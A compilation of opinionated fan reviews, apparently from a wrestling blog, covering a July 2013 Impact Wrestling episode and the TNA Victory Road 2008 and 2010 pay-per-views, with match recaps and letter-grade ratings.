Impact Wrestling – July 18, 2013: They Got Me

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Date: July 18, 2013
Location: Broadbent Arena, Louisville, Kentucky
Commentators: Mike Tenay, Jeremy Borash

Bobby Roode calls Aries beating him last year a fluke. Tonight he starts his path back to Bound For Glory.

Bound For Glory Series: Bobby Roode vs. Austin Aries

Post match Roode snaps and destroys a bunch of stuff at the announce table due to his losing streak.

Homicide and Hernandez reunite in the back but Chavo pokes his nose in for whatever reason.

Anderson talks to the Aces about Doc leaving over not winning the election. All of the guys know their assignments tonight.

Homicide vs. Petey Williams vs. Sonjay Dutt

This is the first of three qualifying matches for an Ultimate X title match next week. Homicide sends both guys to the floor for a big dive before Petey takes over back inside. The slingshot Codebreaker takes Homicide down and Dutt is put in a leg lock, only to have Homicide come off the top with a headbutt to break it up.

Homicide takes both guys down and gets two on Dutt but Petey is back in. Dutt is crotched on the top but neither Homicide nor Petey can hit their finisher. Dutt suplexes Williams out of the corner and into the Gringo Killer but Dutt hits his standing sliced bread on Homicide. The moonsault double stomp is enough for Dutt to pin Homicide at 4:10.

Kenny King vs. Chavo Guerrero vs. Manik

Chavo is sent to the floor as King takes over on Manik. Manik hooks a quick Black Widow followed by an Indian Deathlock, only to have Chavo get caught in a northern lights suplex at the same time. Chavo hits dropkicks to both guys but Manik comes back in with springboards and cross bodies all around. Chavo launches Manik into a dropkick to King but gets rolled up for two. Guerrero hits Three Amigos on King but Manik breaks up the frog splash. King hits a running enziguri to knock Chavo off the top but Manik takes King down with a double chickenwing gutbuster for the pin at 4:36.

Angle and the Mafia are ready to start their plans tonight.

We get the same package on Sabin from earlier.

Hogan tells Sabin to make people remember him and to bring the title back home.

Rubix vs. Rockstar Spud vs. Greg Marasciulo

Mickie James is in the arena to brag about a great moment from last week. We see a clip from a concert of hers in Nashville and Mickie brags a lot until Gail Kim cuts her off. The only thing people were talking about last week was her ladder match, but Mickie cuts her off because Gail is interrupting her oxygen space. Mickie says her performance last week was five starts but Gail ducks a slap. The brawl is on and Gail is in a very short dress. The title match is next week.

Austin Aries tells Sabin to be ready tonight. Sabin knows he can beat Aries and Aries can beat Bully Ray and Aries is pulling for him.

AJ Styles is ready for his test from Jeff Hardy and is going to take the points next week.

TNA World Title: Chris Sabin vs. Bully Ray

Instead he drills Sabin with a superplex for two but Chris fights back. He somehow gets up top for a missile dropkick but the referee goes gets bumped. Anderson tries to come in but the Mafia is there to stop the bikers. Ray got a hammer in there somehow but Sabin kicks him down. Everyone else is gone and Sabin blasts Ray in the head with the hammer for the pin and the title at 18:40.

Results

Austin Aries b. Bobby Roode – Brainbuster

Sonjay Dutt b. Petey Williams and Homicide – Moonsault double stomp to Homicide

Manik b. Kenny King and Chavo Guerrero – Double chickenwing gutbuster

Greg Marasciulo b. Rockstar Spud and Rubix – Over the shoulder piledriver to Spud

Chris Sabin b. Bully Ray – Hammer to the head

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:




On This Day: July 13, 2008 – Victory Road 2008: TNA Does The Olympics

Victory Road 2008
Date: July 13, 2008
Location: Reliant Arena, Houston, Texas
Attendance: 3,000
Commentators: Don West, Mike Tenay

So this is just another PPV despite what TNA would want you to think. The main event is Joe vs. Booker as we’re in Booker’s home town and Joe has had issues with Booker for awhile. I’m starting to remember these feuds more concretely now so I might actually have some insight. This is also the final round of the World X Cup which is kind of like an Olympics thing TNA did that I never really thought was all that special although there are a lot that do. Let’s get to it.

The opening video is about NASA and doing things never before done. Kind of weak but I can live with that. Just what is a Victory Road though?

The set looks like an old Nitro set. I think I like that. Ultimate X is back tonight and there’s a Fan’s Choice match tonight.

JB is outside and we’re asked what we want in the 6 man: falls count anywhere, tables, or full metal mayhem (TNA’s TLC). Polls are open until 11 tonight, which is after the show ends. Brilliance.

Lauren (GORGEOUS) is with BG James who says absolutely nothing of note.

Team Mexico vs. Team Japan vs. Team TNA vs. Team International

Team Mexico – Ultimo Guerrero/Rey Bucanero/Averno
Team Japan – Milano Collection A.T./Masato Yoshima/Puma
Team International – Alex Kozlov/Doug Williams/Tyson Dux
Team TNA – Curry Man/Alex Shelley/Chris Sabin

This is a 12 man four corners elimination match. Coming into this the standings are Team Mexico and Team TNA with three points and the other two with two points. This is for three points. I’ll do what I can to tell the people apart but don’t expect much. Apparently it’s EVERY MEMBER has to be eliminated. I miss Curry Man.

 

Daniels can shake his hips when he has to which is odd to type if nothing else. The Guns are starting to come into their own here and it’s working to an extent. Pretty soon they would be jobbing to big teams rather than just bad ones. Curry and Yoshino start us off.

 

And here are the Guns to beat the tar out of him. West points out how it’s smart to stay on the apron because it’s easier to stay in the match by being out of it, which actually makes sense. All of Team Mexico beats up Williams as this is a total mess at this point due to so many people being in it.

 

Dux goes for a victory roll but Bucanero drops into it kind of like a piledriver (think Owen vs. Bret at Mania X but more like a spike than a rollup if that makes sense) to get us down to eleven which is still too many. Team Japan beats the tar out of Bucanero in some painful looking stuff.

 

We crank the speed up a lot here and Puma is gone. There are two referees here thank goodness. What kind of a name is Milano Collection AT? It sounds like a cookie company or something. Cradle Shock takes him out anyway. That leaves just Yoshima for Team Japan.

 

West points that out and Tenay of course repeats it like 8 seconds later. Shelley hits a SWEET baseball slide on him while he’s in the Tree of Woe. He catches Shelley in an Octopus hold which is one of the most painful holds ever but of course just lets it go since it’s not that important I guess.

Shelley is just beating the heck out of Yoshino. Averno and Yoshino have a very nice high speed sequence as Yoshino is just trying to hang on. Averno gets pinned off a rollup though so we have one down for International and Mexico, two down for Japan, and TNA is intact. Chaos Theory on Sabin is broken up at two.

 

Team Mexico hit a pair of springboard cross bodies which looked great. Williams’ face is great when he gets nailed with a high spot. Guerrero hits a middle rope powerbomb on Curry Man to get us down to seven people left. That’s bearable at least. A crazy double team gets rid of Williams. I know I’m saying a lot really fast here but there’s no transition between a lot of these pins.

 

It’s the Motor City Machine Guns vs. Yoshino vs. Kozlov vs. Guerrero and Bucanero. Guerrero hits a gordbuster off the top for two on Kozlov. Kozlov gets a SWEET Russian Leg Sweep into a Cobra Stretch a la Delirious for the tap from Guerrero. This is FAST. Sabin hits a GREAT hurricanrana into a double super kick on Bucanero to get rid of Team Mexico. That clears things up a lot.

 

Since it’s a multiman match, it’s…actually not a Tower of Doom even though they were in position for one. All four are in the ring for a long time as they’re not even trying to have a coherent match at this point and I can’t really blame them. Sabin does the same run after the other guy thing that DiBiase does but hooks a Diamond Cutter instead of a clothesline. This is rather good stuff.

 

Kozlov goes heel and pulls the referee in front of him before rolling Sabin up and using the ropes to get rid of him. We’re down to Yoshino, Shelley and Kozlov here. Kozlov hits a great enziguri to counter a dive that missed for two on Yoshino. Sick looking move. Kozlov taps to Yoshino and we’re down to one on one.

 

Shelley kicks his head off and Sliced Bread gets two only. I would have bet on that being the end. A PAINFUL looking Tiger Suplex gets two. Shelley just goes OFF and hits something like a reverse Emerald Flowsion for the pin.

Rating: B. This was a hard one to grade as it’s very different from anything most people will be used to. It’s definitely a great match as far as athleticism and showing off, but at the same time nearly half an hour is a bit much. This was definitely good though and a GREAT way to get the crowd fired up.

 

The problem though is what Don West says immediately after the final pin: I’m exhausted from watching that. I think that could be a problem as that’s likely to be the most exciting thing all night long. Hopefully not though.

Updated Standings:

TNA – 6
Japan – 4
International – 3
Mexico – 3

We run down the rest of the card which we’ve already paid for at this point.

We see Booker’s “Homecoming” which is just a tour of his house and how much stuff he has. It’s a nice house if nothing else, but this is nothing but a waste of time.

We recap Angelina vs. Gail which is over Love interfering which allegedly is about her being jealous. I didn’t realize that Beautiful People were two and a half years old.

Angelina Love vs. Gail Kim

Just Love and Sky at this point and a bit more conservative. We hear about how proud Kim is to be a Knockout. Yep, proud enough that she bailed on the company for more money. Velvet interferes early to give Love the advantage. The BP weren’t that good in the ring yet at this point so they had to cheat.

 

Kim gets a Figure Four around the post but doesn’t lean back with it so it just looks weird. This is a pretty basic match but it’s working fairly well I think. Kim busts out a Codebreaker and a neckbreaker for the pin. Kind of anti-climactic ending but what do you expect? Post match Gail avoids a double beatdown.

Rating: D. Just not that good. I know Love is pretty bad in the ring but still this just wasn’t a very good match at all. Love was still getting used to wrestling and while Kim is good, she’s not good enough to carry something like this. Good to see her get the win though which is the right thing.

Lauren and BG James are with the 12 “fans” armed with leather straps for the Fan’s Revenge match tonight.

We recap Lethal vs. Dutt which was supposed to be an homage to the Mega Powers or something like that but it didn’t work at all. So Cal Val being around a lot was nice though.

Jay Lethal vs. Sonjay Dutt

So Lethal is Randy Savage and Dutt is an Indian peace man or something. Dutt gives Val a rose and a card and the fight is on. It’s ALL Lethal to start us off here. Lethal misses a dropkick by about two feet but it’s sold anyway. That makes my head hurt. Tenay says Guru like Gru so it’s very annoying.

 

Dutt goes for a slingshot move. I assume he did at least as that’s what Tenay said. Not like we got to see it or anything. This is fast paced but no one really cares it seems. I mean really, an homage to a 20 year old angle with these two? Seriously? This is mostly Dutt in control but we’re at about look #38 at Val. We get it: she’s hot and concerned.

 

Lethal takes over but Val gets nervous and Dutt nails him. Dutt says he loves Val, and the camera work is KILLING this match. Val gets involved AGAIN and this time it lets Dutt roll Lethal up for the pin. Dutt kisses her hand before leaving. Of course Val would turn on Lethal later as EVERYONE expected.

Rating: D. Like I said, the cameras killed this as they were constantly looking at Val and missing spots because of it. A lot of the time it’s better to just keep the camera on the ring and don’t worry about the hot chick.

 

Either way, this wasn’t going to be that good anyway as they kept doing the same thing (fight a bit, look at Val, lose control because of it) and that was how the match ended. Just an overly long and not that good of a match.

Recap of Beer Money vs. LAX who are feuding because…well because LAX have the belts and Beer Money are challengers. No reasons for the Fans’ Revenge stuff but whatever.

Beer Money and Jackie talk about being mad. Seriously, can someone shoot Jackie?

Tag Titles: Beer Money vs. LAX

Jackie stays in the back thank goodness. Ah ok Beer Money beat on LAX in an Impact match where afterwards they tied them up and hit them with belts. I found that on Wikipedia so there you go. That’s the crack TNA recapping staff for you. The fans with the straps are all wearing LAX shirts so you can figure out what’s going to happen here.

 

Hector Guerrero is with them and has a massive sombrero. He looks IDENTICAL to Eddie. So Beer Money are challengers, have no fans on the floor, and don’t have their manager. This is perfectly logical. Roode gets slapped by the straps a lot and runs to Storm. This is SO riveting. Homicide doesn’t get whipped and steals some of Storm’s beer. Why are girls so often called gals? Is one more letter so hard to say?

 

I’ve never seen the genius that Homicide allegedly is in the ring. Storm runs under the ring in kind of a funny bit. Homicide hits Three Amigos to get an Eddie chant going. Beer Money hit a Hart Attack in a nice move. Storm doesn’t let go of the legs and puts on a Boston Crab in a nice move. That was my issue with the Hart Attack: Anvil never really did much. We get a hot tag to Hernandez who cleans house.

 

This just isn’t interesting at all for some reason. It’s just happening and I’m not really caring about it at all. Hernandez’s power is insane at times. He hits a top rope splash on Roode where the referee counts three since Storm misses his cue. They just say it’s two anyway but whatever. A Doomsday Device ending with a Diamond Cutter ends it for LAX.

Rating: D+. So? That’s the only thing I can think of to say. The faces win a match they were supposed to win and there’s no point to this feud anymore. This just wasn’t worth much at all as the straps were all to beat up Beer Money and the whole match just made LAX look even stronger. What’s the point of that? And why didn’t Roode even try to buy some of them off?

More of Booker, this time at the PWA training center where we see some of his guys wrestling. That’s actually kind of cool, but it’s making him look like a face when he’s the heel. Oh right it’s TNA.

We recap Taylor Wilde vs. Awesome Kong, which can be summed up as Wilde was a fan from the crowd that was given a title match and won it. Yeah that’s really all there is to it.

Knockouts Title: Awesome Kong vs. Taylor Wilde

No intro for Kong here either. Makes perfect sense doesn’t it? Yep Wilde is hot. Not sure why I was ever unsure on that one at all. Kong dominates early on as you would expect as the camera work stays bad. Kong hooks a camel clutch of all things which is a move that works for her actually.

 

Wilde is more or less just fighting for all she can but when she grabs Kong by the hair, Kong flicks her into the corner BY THE HAIR. FREAKING OW! Kong takes her head off with a clothesline because she can. Wilde hits an armdrag off the top and is STUNNED yes STUNNED I say when she only gets two. I love idiotic wrestlers.

 

Wilde reverses the Implant Buster into a victory roll to get ANOTHER pin on Kong. Kong and Saed beat her up afterwards….and Abyss makes the save. Uh, reason? Black Hole Slam to Saed and we’re done here.

Rating: C-. At least they kept it short. Wilde was at least something new, but she more or less killed Kong’s character. She was hot though so she worked fine. She’s a good worker though so we need Rosie Lotta Love instead. Anyway, this wasn’t terrible but it’s far from good either.

Booker and Sharmell have dinner at Booker’s restaurant but Booker insists on making sure the portions are small and the drinks are watered down. Booker more or less says he’s the biggest businessman in Houston. Well they’re trying at least.

We get a 10 second look at NASA stuff. WOW.

Here’s a video package on Ultimate X. No commentary needed apparently.

Ultimate X: Kaz vs. Volador Jr. vs. Naruki Doi vs. Daivari

This is for four points apparently, so more or less the winner wins everything, making the entire previous three rounds totally pointless. Daivari is allegedly predictable in this. Ok then. West thinks Kaz is the favorite because of his experience letting him know that he’ll know how to win earlier. YOU CLIMB UP AND GRAB THE FREAKING X! How hard is this? Daivari wisely goes after Kaz’s arm.

 

That makes the most sense here if nothing else. Oh and only Kaz is a face here. We can’t have nice foreigners! West says Kaz is close to being a world champion. Oh the comedy! For about the 1000th time tonight we’re told about being allowed to vote for the stipulation tonight. WE GET IT!

 

Oh and also, great idea on telling us to stop watching your show so we can go get our computers to vote on something on the show later on. In other words, a stipulation for later on in the night is more important than the match you’re watching at the moment. Volador is pretty fun to watch. Kaz manages to get above the X and almost unhooks it but Daivari makes the save.

 

It worked as it’s not like Kaz had a long time up there like in a ladder match so it didn’t look completely ridiculous which is a very nice difference. Also he used his legs to get there so he kept selling the arm from earlier.

 

In a MIND BLOWING spot, Daivari is going across a cable with his back facing the ring so he’s looking up at the ceiling. Kaz climbs up to the metal thing that holds up the cables and JUMPS off of it, crashing down with a clothesline onto Daivari and killing himself in the process. That was INCREDIBLE. It also lets Volador go up and get the X for the win and the Cup.

Rating: B. This was another great high impact battle that worked perfectly for what it was supposed to do. I wasn’t sure who was going to win and I was thinking it would have been Team TNA but a surprise is always good. This was your usual crazy spotfest but it worked quite well.

Team Mexico accepts the trophy.

Booker T has a golf course and apparently is very good, even as good as Tiger Woods.

Frank Trigg is here and is doing commentary.

We recap Angle and the Dudleys vs. Christian, Rhyno and AJ. AJ accidentally married Karen. I know, I know. Just go with it. Kurt is ticked about it as Angle’s wife is sleeping with her husband AJ. See what I have to deal with here?

Kurt Angle/Team 3D vs. AJ Styles/Rhyno/Christian Cage

Team 3D beat up Christian and Rhyno to explain why they’re here. More or less it’s two feuds in one here to fill time. Eh I tend to hate that but I can live with it I guess. Dang AJ needs to be a face again. Angle hides at the broadcast table to jump AJ and it’s Full Metal Mayhem, which more or less is a TLC match where you win by pin.

 

Sweet goodness people is it THAT hard to keep a coherent camera shot? Trigg isn’t that great on commentary and I continue to wonder why he’s here. Angle goes off with a chair as this is just a total mess. AJ hits a sweet move as he jumps up to the top of a ladder with a springboard then off of it onto Bubba with a forearm. I LOVE that move. Christian goes up to the top of the Ultimate X structure and dives off.

 

You know that would have looked way better if we could have seen how far down he came if the camera hadn’t been above him. THAT is the stuff I have to deal with here. Rhyno gores everyone and of course can’t get a pin on anyone. So of course he takes a Doomsday Device through a table. What? You can’t see the clear transition there?

 

We’re just going from spot to spot here with no flow at all and it’s really very annoying. Christian blocks the running belly to belly and then gets 3D’d through a table. This match is making my head hurt. BUBBA HITS A SUPERKICK! AND NOT A  BAD ONE AT THAT! AJ has been 3-1 for like 4 minutes now.

 

He needs better partners. He puts both Dudleys through tables and hits the Styles Clash for two on Angle. And here’s Johnny Devine. WHERE ARE CHRISTIAN AND RHYNO??? Angle Slam gets two. Angle shoves Hebner and of course he hurts his ankle.

 

Can we get a strong referee? AJ sets up a table and a ladder but Trigg hits AJ with a kendo stick and Angle gets the Slam through a table for the pin. Literally, Christian and Rhyno were nowhere to be seen for at least 5 minutes straight at the end and the whole thing was 15 minutes.

Rating: D. This was the biggest mess I’ve seen in a long time. There was no flow anywhere near this as it was just spot after spot. Also, Christian and Rhyno being gone for that long is ridiculous. If they wanted to do AJ vs. Angle then they should have done AJ vs. Angle. Just a total mess but there were some good spots in there. Plus, Bubba doing a superkick is hilarious stuff.

Joe says he’s not afraid and tells Nash to stay in the back. He’s the mentor that of course is going to turn on him later on.

TNA World Title: Samoa Joe vs. Booker T

They’re trying to make this an epic match but I’m not getting the Austin/Rock vibes here. And now let’s have another video package. Now let’s watch both of them walk from the back. Why can’t Joe be this much of a monster now? We hear the beginning of his music and go to ANOTHER video about Joe. Seriously, is this necessary? Also why did he put the belt on his other shoulder during the video?

 

We get the IF JOE WINS WE RIOT sign. No, you won’t. See, in ECW it’s effective because they would have actually rioted. These people won’t and they know it. To kill more time we do big match intros. They chop it out and we’re just in the feeling out stages of course.

 

The fans are about 80% behind Booker here which is exactly what you would expect of him. We hit the floor and Booker takes over and busts Joe open. We’re at shot of Sharmell #8 after less than ten minutes. This is far from epic but it’s not bad I guess. Joe goes aerial a bit which wasn’t bad. There’s a lot of striking in the middle of the ring here and there goes the referee.

 

That’s so clichéd it’s not even funny anymore. We head to the floor for more chops and strikes that aren’t anything special. Joe does get a nice Ole Kick on the floor (Youtube it). Ok, we know what Sharmell looks like. We don’t need to see her every 18 seconds. Joe gets slapped by her and beats up her body guards. Oh and the referee is still down and hasn’t moved and therefore could be dead but no one checks on him. Great guys in TNA.

 

Booker is busted too. Ah there’s a second referee. Joe beats both of the other referees up. They were kind of going for an Austin/Taker insanity thing here and it’s not working really. The idea is he can’t beat Booker and he’s snapping and just beating the tar out of him for it.

 

Security hits the ring and down they go. Sharmell is in the ring as I know where this is going. He puts Booker in a choke and Sharmell screams for help. And cue Sting. There’s Bound for Glory’s main event. Sting gets him to leave and then he goes back to the ring to beat on Booker more.

 

Joe flips him off and says F you which earns him some bat shots. West asking why Sting is doing this cracks me up. Sharmell counts a three and Booker takes the belt. That would set up a cage match between Booker and Joe next month. The announcers being in SHOCK, yes SHOCK I say, ends it.

Rating: C-. While I’ve seen far worse, this wasn’t much at all. The whole insane brawling was a bit much and Joe snapping like that sucked. It set up next month and Bound For Glory even better but at the same time it was just boring. Joe was still decent here and the crowd was white hot though so points for that. Like I said, I’ve seen worse.

Overall Rating: D+. This wasn’t much, although it was better than the previous year’s show by far. The key thing here is that something actually happened. We ended the World X Cup, we move forward in the Joe/Booker feud as well as the Sting feud.

Angle vs. AJ is more or less set for Hard Justice and we had some new angles open up. Now don’t get me wrong: the show mostly sucked, but there’s a point to it which is the most important thing here. Not terrible, but the X Cup stuff is worth seeing if you’re bored and want something a bit different. The rest, not so much.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:

 




On This Day: July 11, 2010 – Victory Road 2010: RVD Is A Boring Champion

Victory Road 2010
Date: July 11, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Well I’m not wild on the card but they’ve done a great job of building up to this if nothing else. The main event just does nothing at all for me, but then again neither does the rest of the card. This isn’t going to be much, but the build has been good so maybe there’s some hope. I’ll be watching it out of order but there’s nothing I can do about that. Let’s get to it.

Intro video is just about the road to victory. Seriously is that all they can do for this show?

X Division Title: Brian Kendrick vs. Douglas Williams

This is Ultimate X/Submission which is about as odd of a combination as you could ask for. Williams almost immediately takes him to the mat as he’s afraid of heights. Well at least they’re giving Kendrick every possible out they can. Now let’s see how they manage to mess it up. Kendrick only goes for the Cobra Clutch and neither guy tries to climb yet.

In essence this is just a submission match with the Ultimate X aspect on the side. Naturally they couldn’t just do a submission match because they can advertise Ultimate X to boost buyrates. Who cares that it’s hardly used? They both go up the trellis thing and then Kendrick falls off. Yep he’s out cold. Williams gets some gloves to help him climb as he kills time.

He comes back up though and follows Williams across the ropes. Like an idiot he goes for the Cobra Clutch while hanging on to the ropes and falls backwards, smashing his head into the mat. He was legitimately injured or out cold. Williams throws a hold on him and the referee stops it. Something tells me that wasn’t the planned ending. They have to bring out smelling salts to wake him up.

Rating: D+. This was just pointless overkill again. There was one or at most two big spots as opposed to just doing the freaking submission match that they wanted to. The fear of heights thing was just forgotten, making the whole thing just completely pointless. This was overkill that didn’t work, but then again that’s TNA for you.

Christy is with Ray who says that just like Christy’s issue of Playboy, Jesse Neal is a failure. He gets in her face and makes her cry. We see the same recap video we saw on Impact which gives us nothing about why Bubba is mad but whatever.

Brother Ray vs. Brother DVon vs. Jesse Neal

Let’s get this over with. Ray comes out first and hides behind the set. He jumps Neal and there’s no D-Von. We cut to the back where D-Von is locked in his dressing room, presumably by Bubba. Clearly the cameraman has no arms because he doesn’t let him out which would involve moving a board. Oh look: more kind of false advertising as it’s the same match from last month.

Again we hear about how much Neal’s life has sucked. We get it already guys, let it go. No one cares about Neal and that’s all there is to it. This is nothing but basic stuff as we’re all just waiting for D-Von to come running out for the big save or beatdown or whatever. Ray of course uses the big boot because that’s all anyone uses for a big strike anymore. The ECW guys are here.

They distract Bubba a bit and Neal gets a spear for two. Shannon Moore comes down for a save which lets Ray hit Neal with a chair. D-Von finally comes out and there’s a staredown. They both look at Jesse and then slug it out. Neal accidentally spears D-Von and a Bubba Bomb ends it. D-Von was in the ring for maybe a minute total.

Rating: F. This was false advertising if nothing else. This was a one on one match with two run-ins. What was the point to this? Just do 3D vs. Ink Inc like you want to do. No one cares about this feud and no one wants to see Bubba vs. D-Von, so of course that’s what we’re going to get.

We recap Love vs. Rayne which shows why the division completely sucks anymore. The BP and Love are the only ones in the division worth anything anymore and that’s not saying much.

Knockouts Title: Madison Rayne vs. Angelina Love

If Rayne wins then Love retires and she can lose the belt by DQ. We start with a big slugout. Rayne is in skin colored clothes. And remember people: these chicks are WAY better than the Divas and don’t you forget it. I really can’t stand this division anymore as it’s somehow more of a joke than WWE.

Rayne wraps her legs around Love’s head and slams it face first into the mat. Her finisher doesn’t work and Love makes her comeback. Rayne brings in a chair and gets it kicked into her face. Can we get on with this? And here’s a chick on a motorcycle. She jumps Love and the referee determines that since she’s either Velvet or Lacey (she’s in a helmet) Rayne is disqualified and Love is champion. Rayne leaves with the chick that just cost her the belt of course. Allegedly it’s Tara, because she retired recently and therefore has to come back immediate.

Rating: D-. This was somehow less interesting than the previous match. This is the third straight title change that hasn’t involved the champion being pinned. Is there a point to this title anymore? Same with the girl tag titles. This is even more of a joke than I could have imagined. Whatever man.

We go back to Anderson who makes pot jokes and says nothing of note other than the signature line.

AJ Styles/Kazarian vs. ???/???

AJ and Kaz can’t get along so of course they’re going to win. The surprises are Terry and Joe. Sure, why not have a guy that is a champion be brought in as a surprise? We can’t have him fight for the title on PPV when we have Ray vs. Neal II!!! AJ vs. Terry start us off and AJ tags out in seconds. The surprise team completely dominates for the early few minutes as you would expect.

AJ and Kaz are getting along quite well. Oh and remember: this isn’t about the wrestlers. This is about impressing Flair. AJ isn’t here for titles. He’s here to make sure Flair is happy. TNA makes my head hurt at times. Instead of going with AJ as the top guy, he’s running around imitating Flair and trying to make him happy. It’s more of TNA wasting what they have for angles that they think people actually want to see.

Instead of talking about the match, we talk about the ranking system. This is ALL Terry/Joe. Ah wait we can talk about Flair a bit now. Wolfe of all people comes down for interference (he jobbed in a dark match of course) and Kaz takes over. AJ hits the springboard 450 on Terry for the pin. They didn’t argue ONCE. Joe beats up Wolfe post match.

Rating: D+. Oh how I hate TNA at times. This could have been a decent match but instead it made no sense from the storyline perspective. The heels have been about to explode for weeks and now they’re all fine and best friends? Also, this is once again about Flair. That’s who the majority of the commentary is about and all that jazz. Just a waste of talent and an angle.

Abyss likes his nail board.

Recap of Morgan vs. Hernandez. Morgan got all cocky and injured Hernandez. Hernandez wants revenge. I love simple angles.

Matt Morgan vs. Hernandez

This is a cage match with escape only rules. I like the look of the cage. Hernandez is freaky in all definitions of the word. Has steel ever been forgiving? In a match based around revenge, Morgan is dominating. I really can’t stand TNA at times. The crowd has been oddly dead for the majority of the match. Hernandez gets on the top and Morgan hits the Carbon Footprint.

This is ALL Morgan. He gets a foot out the door and then just comes back in. To be fair he’s a great heel, but this goes completely against the whole Morgan runs from Supermex and Hernandez wanting revenge that has been built up for months. Hernandez is busted open. We FINALLY get the comeback and his eyes look like he’s coked out of his mind. Hernandez can’t do the Border Toss so he tries it and of course botches it again. At least it came off looking like a power bomb.

He goes up top, as in top of the cage, and misses a splash on Morgan. Blueprint has handcuffs and Hernandez is caught. What is up with Russo’s obsession with handcuffs? Ok that’s not fair as they’ve been used for years. He just breaks them off as Morgan is climbing down and rams his head through the door to get out. So after all that, Hernandez just escapes with no real revenge. Sure why not?

Rating: D+. The psychology didn’t exist, Hernandez doesn’t gain anything, the ending is illogical, Hernandez looks weak and nothing is really solved. This was completely backwards and didn’t go anywhere at all. Not a horrible match, but just something that should have been far different and far better.

Flair talks about how great he is.

Tenay and Taz say exactly what Flair just said.

We get a video saying what Tenay and Taz just said.

Ric Flair vs. Jay Lethal

Come see a senior citizen get pounded! Lethal wears red and yellow as a tribute to Hogan. Seriously, can ANYTHING not be about Hogan or Flair in some way? Taz says Flair is Mr. Credibility. Taz now is fail. Sting can wear a shirt but Flair can’t? Once again the crowd is relatively dead. Flair only does simple stuff like thumbs to the eyes. Could it have anything to do with being 61?

Lethal hits a top rope superplex. Flair is just fine and goes after the knee. The fans chant for Flair, thereby showing how horrible they are at this. Flair of course switches knees halfway through, thereby making him look like an idiot. Figure Four of course doesn’t work and we go back and forth for a bit which borders on entertaining. And there’s Flair’s trunks going down to ruin it.

Ric gets a sleeper. I guess due to his age he needs a nap during matches now. Now Lethal goes for the knees. He gets the weakest chop block ever and puts on the Figure Four. Yep, Flair taps. Jay Lethal has just put a 61 year old man in a leg submission and made him give up. He cries of course because we have to make Flair look good in the end. I hate this company. I truly don’t.

Rating: D+. People want to say this is a huge deal for Lethal. I’m sorry, but no it isn’t. Lethal is what, 24? He beat a guy 37 years older than he is and it’s supposed to be impressive? If this was say 10 years ago it would mean something, but this is just worthless. Flair is a name, but that’s it. What does this prove? Lethal can beat up a guy who could have great grandchildren? Why am I supposed to be impressed? Flair hasn’t meant anything in years so this win is relatively worthless.

Hardy says he’ll win.

Tag Titles: Beer Money vs. Motor City Machine Guns

Ok so the Guns more or less have to win here. I like the Guns’ music. Storm and Shelley start us off. They’re doing a slow build to start us off as Taz says the Guns are the best team from their city, including the Tigers. Uh, deep? We get a Mel Torme reference of all things as we’re talking about tap dancing. Beer Money takes over and after a double vertical suplex they do their thing.

Shelley is getting beaten on. This is a good match so far so it’s hard to make jokes. Well other than Taz and Tenay who are always jokes. Ah there’s Sabin. I like him better than Shelley I think. We crank it up a bit and Sabin hits a running punt on Storm while he’s on the apron and Storm is on the floor. The crowd is getting back into it a bit too. Eye of the Storm gets two on Sabin.

I’m sorry for the excessive play by play here but that’s the main thing going on here. That made less than no sense but just go with it. We’ve lost any resemblance of a tag match here as it’s just all insanity. Maybe Heyman is booking the company. Everything just goes insane and this is awesome for once. The Guns dominate as Storm has a beer bottle. The referee gets beer spit in his face as the Guns hit a combination splash/neckbreaker on Roode for two.

There’s another referee here now and I have a bad feeling about this. It’s ALL Guns here as we’re going fast paced here. They hit their kick combination and cover Roode as Storm rolls Sabin up. The referees count a double pin and it’s Dusty Finish time. Earl, not the original referee, says restart it. The Guns win in like a minute with the same thing they did earlier, making the restart TOTALLY POINTLESS. Very good match though so I can’t complain much.

Rating: A-. This was a VERY good match. The main thing holding it back is the restart which was the walking definition of overbooking. What in the world is that supposed to help? Whatever it was I certainly don’t get it. The Guns are the champions, albeit nearly three years later. Still though, if they’re going to win them, at least win them in a classic I guess. Very good match all the way through. Loved it.

We recap Angle’s hunt through TNA’s top ten, which more or less is he beats up everyone to get to the top guy. Pope just happens to be the next guy. There’s no real heat between them. Pope just has the right number.

Kurt Angle vs. DAngelo Dinero

Angle is listed as #10, yet he’s beaten two guys and Pope is 8th. I love the TNA thinking. We start on the ground. I’m watching this out of order since I got home late so this is the first match I watched. They’re doing the red, white and blue ropes which is cool looking. They booked themselves into a corner here as Angle can’t really lose but Pope is returning and hasn’t won a big match in months. Angle hits a buckle bomb which is always great looking.

This is a solid match to start but they’re not going to have a ton of time unless this goes up until eleven. Kurt is winning but not dominating which is a good thing. Pope steals the Rolling Germans which doesn’t work. Only a handful of people can suplex Angle and he isn’t one of them. Angle’s all like boy I’ll show you Rolling Germans. Pope hits a Codebreaker and the fans are all behind Angle.

Angle Slam hits from nowhere for two. Why are announcers still surprised by that? I don’t get it. Ankle Lock goes on but Pope gets a rollup for two. Ankle Lock again on the mat and it’s over. This needed a bit more time but was entertaining.

Rating: B-. Not bad at all here. The match was never in doubt though which is what hurt it. Angle is in a groove at the moment and this was no exception. This doesn’t hurt Pope that much though as he’ll likely move on to Anderson now. Decent enough match though and certainly passable.

RVD isn’t worried about Abyss and says he’ll stick the nail board up Abyss.

No recap here. Good as it’s not needed.

TNA World Title: Mr. Anderson vs. Jeff Hardy vs. Rob Van Damvs. Abyss

Everybody goes for Abyss to start and it doesn’t work. The crowd is odd here for some reason. This goes nowhere as Abyss just gets up. Hardy and Anderson get him down for like a second and we’re into the usual formula here to an extent. Yep we’re in the formula. That’s fine though as it’s really the only way to do this.

We’re mostly just killing time thus far. The crowd seems a bit dead for some reason but maybe it’s just been a long show. Van Dam hits a split legged moonsault on Anderson for two as Hardy saves. Abyss is gone for the moment so I’m waiting on his return to break up a pin. Instead we get a Tower of Doom with RVD taking the big bump from it. The fans chant TNA for a heel doing a big move. That sums things up pretty well.

Everyone is in the ring now and RVD is in control. I have no idea why everyone is trying to beat Abyss. He’s supposed to be unhurtable but they keep going for him. The fans chant for Anderson. This is really just a bunch of near falls with moves on the side. It’s not bad, but it’s the hazard of multiple man matches. Mic Check on Abyss gets two. Black Hole to Hardy gets two. Abyss looks stupid counting the pin.

Anderson and Hardy finally go at it and it gets NOTHING. This crowd is just out of it. Remember who these fans are too. Abyss is on Hardy who is on Anderson so RVD hits the Five Star for the pin. Wow that was anticlimactic.

